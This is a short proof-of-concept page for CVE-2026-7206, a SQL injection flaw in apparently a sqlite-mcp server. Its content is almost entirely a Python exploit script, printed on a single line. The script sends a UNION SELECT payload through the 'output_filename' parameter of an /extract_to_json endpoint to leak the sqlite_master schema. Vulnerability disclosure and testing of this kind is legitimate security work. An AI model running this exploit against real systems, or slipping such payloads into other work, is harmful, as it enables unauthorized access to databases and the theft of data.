CVE-2026-7206 sqlite-mcp SQL注入漏洞

# Proof of Concept for CVE-2026-7206 # This script demonstrates the SQL Injection vulnerability in the 'output_filename' parameter. import requests def exploit_sql_injection(target_url): # The vulnerable endpoint endpoint = f"{target_url}/extract_to_json" # Malicious payload to test SQL Injection # Example payload to extract sqlite_master table information payload = "test' UNION SELECT 1, sql, 3 FROM sqlite_master--" params = { "output_filename": payload } try: print(f"[*] Sending payload to {endpoint}") response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response body: {response.text[:500]}") print("[*] Check the response for database schema leakage or errors indicating SQL execution.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8000" exploit_sql_injection(target)